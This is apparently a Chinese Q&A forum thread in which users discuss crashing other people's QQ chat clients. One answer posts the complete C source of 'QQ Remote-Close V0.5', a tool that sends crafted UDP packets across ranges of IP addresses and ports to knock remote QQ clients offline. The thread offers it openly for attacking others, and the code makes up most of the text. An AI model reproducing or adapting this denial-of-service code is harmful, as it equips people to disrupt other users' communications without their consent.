delphi的问题

Question

大哥你是不是要黑别人的QQ，不用代码。网上有东东啊，下一个搞死它！！

Answer 1

根据漏洞，向指定ip的端口发消息。

Answer 2

给你vc的源码，0710的好用，不知现在好不好使了。// windows2000 +VC6  QQCloseRemotelyV05.cpp
#pragma comment (lib,"Ws2_32") 
#include <windows.h> 
#include <winsock.h> 
#define close closesocket 
#include <stdio.h>
int main(int argc,char *argv[])
{
char *line     =" ========================================================================\n";
char *Edition  ="                       Tencent QQ Remote-Close V0.5\n";
char *Author   ="                 _Written by Reed_2001-10-17_In Tientsin_   \n";
char *HomePage ="       Welcome to http://go2free.yeah.net http://foxlover.yeah.net.\n";
char *Usage    ="     *Usage: <ExecuteName> [HostName]|[IP]|[IP-IP] [Port]|[Port-Port]\n";
char *Default  ="           *Default: <ExecuteName> 127.0.0.1 4000.I'm Sorry. :-)\n";
char *host     ="127.0.0.1";
char Bomb1[7]={'\x02','\x00','\x00','\x00','\x01','\xe6','\x03'};
char Bomb2[7]={'\x02','\x00','\xff','\x00','\xff','\xff','\x03'};
unsigned long  int  lStartIP=2130706433,lEndIP=2130706433;
char *cStartIP="127.0.0.1",*cEndIP="127.0.0.1";
UINT iStartPort=4000,iEndPort=4000,iStartPortSave;
char *cStartPort="4000",*cEndPort="4000";
int sock;
struct sockaddr_in sin ;
struct hostent *he;
struct in_addr ina;
WSADATA WSAData; system("cls");
printf("%s",line);
printf("%s",Edition);
printf("%s",Author);
printf("%s",HomePage);
printf("%s",Usage);
printf("%s",Default);
printf("%s",line);
printf(" [Pleased to see you!]\n");
    
if(WSAStartup(MAKEWORD(1,1),&WSAData)!=0)
{
printf("  -Error: WSAStartup Failed.\n  -Error: Program terminated.\n");
printf("%s",line);
WSACleanup();
exit(1);
} switch(argc)
{
case 3:
if((cEndPort=strchr(argv[2],'-'))!=NULL)
{
argv[2][strlen(argv[2])-strlen(cEndPort)]='\0';
cEndPort++;
cStartPort=argv[2];
iStartPort=atoi(cStartPort);
iEndPort=atoi(cEndPort);
if(iStartPort<=0||iEndPort<iStartPort)
{
printf("  -Error: Invaild [Port-Port].\n  +Okey_: Default value(4000) is used.\n");
iEndPort=iStartPort=4000;
}
}
else
{
iEndPort=iStartPort=atoi(argv[2]);
}
case 2:
if((cEndIP=strchr(argv[1],'-'))!=NULL)
{
argv[1][strlen(argv[1])-strlen(cEndIP)]='\0';
cEndIP++;
cStartIP=argv[1];
lStartIP=ntohl(inet_addr(cStartIP));
lEndIP=ntohl(inet_addr(cEndIP));
if(lStartIP>lEndIP)
{
printf("  -Error: Invaild [IP-IP].\n  +Okey_: Default value(127.0.0.1) is used.\n");
lStartIP=lEndIP=2130706433;
}
}
else
{
lEndIP=lStartIP=ntohl(inet_addr(argv[1]));
}
break;
case 1:
break;
default:
printf("  -Error: Incorrect  parameter(s).\n  -Error: Program exit.\n");
printf("%s",line);
exit(1);
break;
} if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
{
printf("  -Error: Unable to set up socket.\n  -Error: Program terminated.\n");
exit(1);
} sin.sin_family=AF_INET;
for(;lStartIP<=lEndIP;lStartIP++)
{
ina.S_un.S_addr=htonl(lStartIP);
host=inet_ntoa(ina);
if((he=gethostbyname(host))==NULL)
{
printf("  -Error: Unable to resolve %s......Ignored.\n",host);
continue;
}
for(iStartPortSave=iStartPort;iStartPortSave<=iEndPort;iStartPortSave++)
{
sin.sin_addr = *((struct in_addr *)he->h_addr);
sin.sin_port=htons(iStartPortSave);
if((sendto(sock,Bomb1,sizeof(Bomb1),0,(sockaddr *)&sin,sizeof(sin))==sizeof(Bomb1))&&(sendto(sock,Bomb2,sizeof(Bomb2),0,(sockaddr *)&sin,sizeof(sin))==sizeof(Bomb2)))
{
printf("  +Okay_: Data was sent to %s:%d.\n",host,iStartPortSave);
}
else
{
printf("  -Error: Unable to send to %s:%d......Ignored.\n",host,iStartPortSave);
iStartPortSave++;
continue;
}
}
}
close(sock); printf(" [Done.See you later!]\n");
printf("%s",line);
WSACleanup();
return 0;
}

Answer 3

我也想知道原理（但是我可不是想去黑别人，呵呵），因为我老被人黑。